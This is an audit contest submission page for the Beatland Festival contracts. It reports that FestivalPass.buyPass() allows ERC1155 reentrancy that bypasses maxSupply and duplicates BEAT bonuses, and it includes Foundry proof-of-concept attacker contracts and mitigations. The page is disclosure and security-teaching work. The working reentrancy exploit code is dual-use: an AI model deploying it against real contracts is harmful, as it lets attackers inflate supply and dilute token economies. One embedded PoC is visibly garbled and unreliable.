Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

buyPass reentrancy bypasses maxSupply and duplicates welcome BEAT rewards

Summary

FestivalPass.buyPass() calls the ERC1155 _mint() before incrementing passSupply[collectionId]. Because _mint invokes the buyer's onERC1155Received hook, a buyer contract can reenter buyPass() while the supply counter still holds its stale value. This bypasses the organizer-configured maxSupply (verified: maxSupply = 1 yields 2 minted passes) and duplicates the welcome BEAT bonus on every reentry.

Root Cause

Contract: src/FestivalPass.sol
Function: buyPass(uint256 collectionId)

function buyPass(uint256 collectionId) external payable {
// ... price and sold-out checks read passSupply[collectionId] ...
_mint(msg.sender, collectionId, 1, ""); // @> fires onERC1155Received BEFORE state updates
passSupply[collectionId]++; // @> incremented too late
// @> welcome BEAT bonus is also minted after the external call
}

The sold-out check reads passSupply[collectionId], but the increment happens after _mint. Per ERC1155, _mint performs an untrusted external call (onERC1155Received) while the contract is in an inconsistent intermediate state.

Impact

  • Supply cap bypass (integrity): the organizer-configured maxSupply — the core "limited edition" promise of the festival — can be exceeded permissionlessly in a single transaction. The PoC mints 2 passes against maxSupply = 1.

  • Bonus duplication (economic dilution): every reentrant buyPass call mints another welcome bonus (5 BEAT for VIP / 15 BEAT for BACKSTAGE), inflating BEAT supply and diluting the memorabilia economy that prices items in BEAT.

  • Each reentry still pays the full passPrice in ETH, so there is no direct theft of user funds — hence Medium impact rather than High. Likelihood is High because the reentry is atomic, permissionless, and any contract buyer (a common integration pattern) can perform it.

Description

buyPass() is intended to sell at most maxSupply passes per collection and to grant exactly one welcome BEAT bonus per purchase. Inside the function, _mint(msg.sender, collectionId, 1, "") executes before passSupply[collectionId]++ and before the BEAT welcome bonus is paid out. Since the recipient is a contract, _mint calls back into the buyer's onERC1155Received hook at that point.

An attacker contract implements onERC1155Received to call buyPass{value: price}(passId) again. The inner call observes the stale passSupply, passes the sold-out check, mints another pass, and mints another welcome bonus. The inner _mint fires the hook again, so reentries can be chained as far as gas and supplied ETH allow (the PoC below performs one reentry for clarity).

Observed result: with maxSupply = 1, one outer transaction leaves the attacker holding 2 passes (passSupply == 2 > maxSupply == 1), and the attacker receives 10 BEAT of welcome bonus instead of 5.

Proof of Concept

From repo/test/PoC.t.sol (BeatlandPoC; all 5 tests pass with forge test):

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
​
import {Test, console} from "forge-std/Test.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {BeatToken} from "../src/BeatToken.sol";
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
​
/// @notice Attacker contract used in M-1: reenters buyPass from the ERC1155
/// receiver hook, which fires inside _mint BEFORE passSupply is incremented.
contract ReentrantBuyer is IERC1155Receiver {
FestivalPass public fp;
uint256 public passId;
uint256 public price;
uint256 public reentries;
uint256 public maxReentries;
​
constructor(address _fp) {
fp = FestivalPass(_fp);
}
​
function buy(uint256 _passId, uint256 _price, uint256 _maxReentries) external {
passId = _passId;
price = _price;
maxReentries = _maxReentries;
fp.buyPass{value: _price}(_passId);
}
​
function onERC1155Received(address, address, uint256, uint256, bytes calldata)
external
override
returns (bytes4)
{
if (reentries < maxReentries) {
reentries++;
fp.buyPass{value: price}(passId);
}
return this.onERC1155Received.selector;
}
​
function onERC1155BatchReceived(address, address, uint256[] calldata, uint256[] calldata, bytes calldata)
external
pure
override
returns (bytes4)
{
return this.onERC1155BatchReceived.selector;
}
​
function supportsInterface(bytes4 interfaceId) external pure override returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId;
}
​
receive() external payable {}
}
​
contract BeatlandPoC is Test {
FestivalPass public fp;
BeatToken public beat;
address public owner;
address public organizer;
address public user;
​
uint256 constant VIP = 2;
uint256 constant VIP_PRICE = 0.1 ether;
​
function setUp() public {
owner = address(this);
organizer = makeAddr("organizer");
user = makeAddr("user");
vm.deal(user, 100 ether);
​
beat = new BeatToken();
fp = new FestivalPass(address(beat), organizer);
beat.setFestivalContract(address(fp));
​
vm.startPrank(organizer);
fp.configurePass(1, 0.05 ether, 5000);
fp.configurePass(VIP, VIP_PRICE, 1000);
fp.configurePass(3, 0.25 ether, 100);
vm.stopPrank();
}
​
// ============ M-1: buyPass reentrancy bypasses maxSupply ============
function test_PoC_BuyPassReentrancy_BypassesMaxSupply() public {
vm.prank(organizer);
fp.configurePass(VIP, VIP_PRICE, 1); // maxSupply = 1
​
ReentrantBuyer attacker = new ReentrantBuyer(address(fp));
vm.deal(address(attacker), 1 ether);
​
// One outer purchase; the ERC1155 hook reenters once more.
attacker.buy(VIP, VIP_PRICE, 1);
​
// Invariant broken: 2 passes exist although maxSupply == 1.
assertEq(fp.balanceOf(address(attacker), VIP), 2, "attacker holds 2 passes");
assertEq(fp.passSupply(VIP), 2, "passSupply exceeds maxSupply");
assertGt(fp.passSupply(VIP), 1, "maxSupply invariant violated");
// Bonus BEAT was also minted twice (5e18 per VIP pass).
assertEq(beat.balanceOf(address(attacker)), 10e18, "double welcome bonus");
}
}

Recommended Mitigation

Follow checks-effects-interactions: increment passSupply[collectionId] before calling _mint, and settle the welcome BEAT bonus before any external call — or add OpenZeppelin's nonReentrant modifier to buyPass().

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!